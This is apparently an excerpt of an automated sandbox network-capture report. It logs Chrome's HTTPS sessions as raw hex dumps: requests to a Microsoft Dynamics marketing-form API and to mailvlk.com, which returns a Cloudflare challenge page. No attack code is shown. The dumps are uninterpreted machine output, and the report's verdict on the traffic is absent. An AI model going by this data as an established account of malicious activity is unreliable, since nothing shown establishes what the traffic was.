ProfileHWXS[R!RBoRBhwQIPb;6tUDE,/u`W;'bq.@@ u@pmw{wzC g5M q:?AJXRQO)0l@[xg*p+^O\|,V
2024-04-24 13:43:01 UTC	16384	IN	Data Raw: 55 cc f7 69 05 b3 5e e7 9e 7b ae a0 3c e0 cc 8b 52 76 d6 b6 22 8c a4 11 24 40 02 24 40 02 24 f0 57 02 14 c2 ac 0a 99 25 00 21 6c d6 84 46 da 6f d6 b2 c9 c3 0f 3f cc d9 e0 48 42 c9 5f 30 6b bb ed 23 70 37 66 f3 29 2a 39 e1 84 13 dc 53 dc 27 01 12 20 01 12 20 81 8a 20 40 21 5c 11 c5 40 23 8a 21 60 7e d1 4b cc 0b 2a 32 67 ce 1c 31 3f 34 61 67 81 cd cb 27 76 e6 f1 db df fe b6 7d 1c 8f b5 c7 74 e5 23 60 5e 26 f2 d7 01 9b 37 bf e5 9c 73 ce 91 6f 7e f3 9b e5 33 80 29 91 00 09 90 00 09 90 40 01 04 28 84 0b 80 45 af 24 40 02 f1 08 e0 c5 17 de 84 c4 63 45 5f 24 40 02 24 40 02 e9 11 a0 10 4e 8f 3d 53 26 01 12 20 01 12 20 01 12 20 01 12 48 91 00 85 70 8a f0 99 34 09 90 00 09 90 00 09 90 00 09 90 40 7a 04 28 84 d3 63 cf 94 49 80 04 48 80 04 48 80 04 48 80 04 52 24 40 Data Ascii: Ui^{<Rv"$@$@$W%!lFo?HB_0k#p7f)9S' @!\@#!`~K2g1?4ag'v}t#`^&7so~3)@(E$@cE_$@$@N=S& Hp4@z(cIHHHR$@
2024-04-24 13:43:01 UTC	16384	IN	Data Raw: 40 30 2f 7d 1a 01 ac 4e 7c 4d 40 1c 70 18 7c 79 1e 28 4f 7d 75 09 c4 d3 5f 19 22 2e 0b 32 f8 f1 b5 16 4c 7e 7a 9b da 11 c2 b0 5a 73 fd ac 96 2e 5d 18 04 12 11 a8 9b 9e b7 6e 61 87 1f e6 af 72 3e fa bc 45 3d 8e 55 08 eb 16 ec 40 0f 3d d6 fc ad 69 31 77 ab 70 d3 6f da fc 60 87 b4 bc 5d 97 fa 7c 6a 9e 4a 83 b0 f8 e3 f1 11 75 2c 6e 21 ac 7f 48 c6 d7 0d 7f 00 c6 1f 35 a1 fd 30 76 a3 7c b0 b8 72 b9 f5 6b c4 9f 10 b6 8e d7 de f8 70 9a 85 15 c2 48 07 cb 80 71 7f e1 3d a6 9b 71 1e f9 11 c2 7a 58 58 98 39 0d eb 5e ef ef 56 21 8c 31 9f cb 01 11 6b bd ae 75 23 84 af a9 13 b8 47 ea 0f 77 18 bf 0b 9a ae 5d 21 cc d3 34 ac 75 b5 9e fb ba 7f eb 6f f3 f4 b4 f4 69 36 56 03 9a fe d6 0b 2b 48 58 f3 d2 cf f5 b9 d5 d6 fe a7 87 93 63 fb ba ef 8c 11 c2 68 d4 2d 07 12 5d 6d 86 fe Data Ascii: @0/}N\|M@p\|y(O}u_".2L~zZs.]nar>E=U@=i1wpo`]\|jJu,n!H50v\|rkpHq=qzXX9^V!1ku#Gw]!4uoi6V+HXch-]m
2024-04-24 13:43:01 UTC	9297	IN	Data Raw: 0b e1 fd 2b c6 53 44 d9 7a 14 55 a1 a1 ed a2 44 45 85 d1 ba 5f 9e b6 1d 1e 01 03 2d 9f 96 9f c4 74 21 1c 16 ad 96 99 c2 64 68 1b 5b 8d aa 35 e9 b7 b7 bf b5 11 f2 54 10 5f cb a7 9d 0a 61 ff 28 bf 42 b8 42 ab ab a9 e9 f3 6f d8 cf 40 0b f9 de 5d 7f d2 21 f5 f1 58 61 b6 d4 e8 fd 6a b5 91 76 54 b5 ac ef a5 27 53 52 d2 68 e9 4a f7 5a ed de f2 ba f2 e1 46 d4 fe a5 e6 de bc 7c ba 59 97 4f f3 19 d0 86 87 2b 2b 8d 0e ff 3b 96 ea 5e 79 3f 45 56 a8 46 e1 d1 15 8c 9f c0 0e 14 b5 a0 42 18 e9 fe b0 39 99 66 6c d1 d6 c0 56 4a 16 62 56 17 bf 04 11 ab c2 42 d4 b2 d0 45 5c f7 f1 a9 f0 ca 8c 7c 4a f8 1a 89 b8 d3 21 97 bb cf b3 80 46 5c 6c 35 2a 86 d1 b8 7b ab 9b 1f c8 ba 5d e5 ff 60 11 10 21 1c 2c 92 92 8e 10 10 02 42 a0 80 04 7e 5b 7a 98 06 7f ea fe 18 ae 80 49 78 44 8b f9 Data Ascii: +SDzUDE_-t!dh[5T_a(BBo@]!XajvT'SRhJZF\|YO++;^y?EVFB9flVJbVBE\\|J!F\l5*{]`!,B~[zIxD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49742	52.146.76.30	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:03 UTC	598	OUT	OPTIONS /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://assets-usa.mkt.dynamics.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:03 UTC	383	IN	HTTP/1.1 204 No Content Server: nginx Date: Wed, 24 Apr 2024 13:43:03 GMT Connection: close Access-Control-Allow-Headers: content-type Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 1b94e907e2818e0e58425eafdc5ec976 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49743	52.146.76.30	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:04 UTC	708	OUT	POST /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive Content-Length: 174 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:04 UTC	174	OUT	Data Raw: 7b 22 70 75 62 6c 69 73 68 65 64 46 6f 72 6d 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2d 75 73 61 2e 6d 6b 74 2e 64 79 6e 61 6d 69 63 73 2e 63 6f 6d 2f 39 37 37 39 31 35 37 33 2d 61 39 30 30 2d 65 66 31 31 2d 39 66 38 35 2d 30 30 32 32 34 38 32 38 32 30 32 65 2f 64 69 67 69 74 61 6c 61 73 73 65 74 73 2f 73 74 61 6e 64 61 6c 6f 6e 65 66 6f 72 6d 73 2f 62 65 62 32 36 65 31 36 2d 63 35 30 30 2d 65 66 31 31 2d 61 31 66 64 2d 36 30 34 35 62 64 64 33 62 36 33 36 22 2c 22 66 69 65 6c 64 73 22 3a 5b 5d 7d Data Ascii: {"publishedFormUrl":"https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636","fields":[]}
2024-04-24 13:43:05 UTC	366	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 13:43:05 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: https://assets-usa.mkt.dynamics.com x-ms-trace-id: 8230a7cdeec8badd95dfccfd688b8ad6 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-24 13:43:05 UTC	53	IN	Data Raw: 32 61 0d 0a 7b 22 73 75 62 6d 69 73 73 69 6f 6e 53 74 61 74 75 73 22 3a 30 2c 22 65 72 72 6f 72 4d 65 73 73 61 67 65 22 3a 6e 75 6c 6c 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2a{"submissionStatus":0,"errorMessage":null}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49745	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:05 UTC	660	OUT	GET / HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:06 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Wed, 24 Apr 2024 13:43:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16512 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: B4FhJ7gQDkyc6LnMgA6zBeWL6qUmkh7u9/DQdr10vSrNUGakFHX0Ixa8eUkxBeWSRZEqqiUSFrcSIrcOvniP5MBnPCZCoTqkkrW3YqXlCfXQMZL2NcuXMotqPGPb3OCZWJ2W+IhDnzCYWeIMb+RG9w==$mcGEYlxit0PSw7clGuHchw== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-24 13:43:06 UTC	405	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 69 44 55 76 5a 61 43 74 44 70 4a 79 33 71 46 36 71 6b 75 7a 67 37 7a 68 70 48 6d 65 62 68 43 54 4c 55 46 44 44 41 42 4e 65 79 53 6f 25 32 46 6c 4d 59 62 4d 45 33 61 37 44 79 4e 64 78 6c 79 64 57 42 7a 6f 48 46 44 6d 48 42 6e 65 49 78 74 30 44 7a 63 57 6b 72 39 58 43 68 6d 7a 64 25 32 46 63 4a 61 4a 65 25 32 42 38 6b 4e 47 45 78 51 4a 55 75 47 33 4d 33 76 46 6a 72 77 57 52 53 4a 77 51 68 33 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDUvZaCtDpJy3qF6qkuzg7zhpHmebhCTLUFDDABNeySo%2FlMYbME3a7DyNdxlydWBzoHFDmHBneIxt0DzcWkr9XChmzd%2FcJaJe%2B8kNGExQJUuG3M3vFjrwWRSJwQh3g%3D%3D"}],"group":"cf-nel","max_age":604800}
2024-04-24 13:43:06 UTC	1043	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 74 Data Ascii: C9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJt
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 Data Ascii: 3}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsb
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d Data Ascii: ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(data:im
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e Data Ascii: xt-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{margin
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 Data Ascii: DktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-text{ba
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 65 72 20 2e 72 61 Data Ascii: ;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.footer .ra
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 Data Ascii: ing-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refresh" c
2024-04-24 13:43:06 UTC	1369	IN	Data Raw: 4a 39 4c 72 68 34 69 68 75 4a 61 49 35 35 30 54 68 32 72 42 66 32 55 4e 6d 49 54 47 54 69 50 4e 4d 36 47 39 41 47 42 39 39 32 41 44 72 58 66 57 54 38 63 61 65 68 54 45 33 58 76 59 6d 6f 66 30 6f 50 46 48 54 59 42 79 66 62 72 65 31 37 49 31 6a 62 2e 42 6d 48 65 68 68 34 7a 4a 5f 46 4b 6f 35 33 49 52 6a 55 59 74 54 55 56 77 6b 35 4b 68 50 6e 50 47 4d 70 61 44 77 47 43 49 74 71 4d 30 42 30 73 59 39 66 72 71 4f 70 33 42 50 74 51 6b 61 37 7a 77 6f 56 79 34 61 61 59 38 38 33 53 41 4f 66 79 68 4d 56 35 78 63 31 79 66 2e 78 5f 73 42 75 78 53 5a 77 73 46 44 34 48 61 75 77 4e 49 77 7a 4d 7a 63 59 45 75 66 30 65 41 79 4b 74 73 72 32 30 6c 43 43 47 70 59 36 79 71 64 6c 32 63 69 6a 70 6d 35 6c 57 78 50 6e 36 6c 5f 74 4e 4e 36 6f 33 48 59 77 47 45 4b 6c 72 78 75 32 4a Data Ascii: J9Lrh4ihuJaI550Th2rBf2UNmITGTiPNM6G9AGB992ADrXfWT8caehTE3XvYmof0oPFHTYByfbre17I1jb.BmHehh4zJ_FKo53IRjUYtTUVwk5KhPnPGMpaDwGCItqM0B0sY9frqOp3BPtQka7zwoVy4aaY883SAOfyhMV5xc1yf.x_sBuxSZwsFD4HauwNIwzMzcYEuf0eAyKtsr20lCCGpY6yqdl2cijpm5lWxPn6l_tNN6o3HYwGEKlrxu2J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49744	52.146.76.30	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:05 UTC	461	OUT	GET /api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpageforms/forms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:06 UTC	294	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 13:43:06 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-ms-trace-id: 4d3385f0629f149455ecc8ecc407e780 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff
2024-04-24 13:43:06 UTC	16090	IN	Data Raw: 31 66 33 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 Data Ascii: 1f33<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer
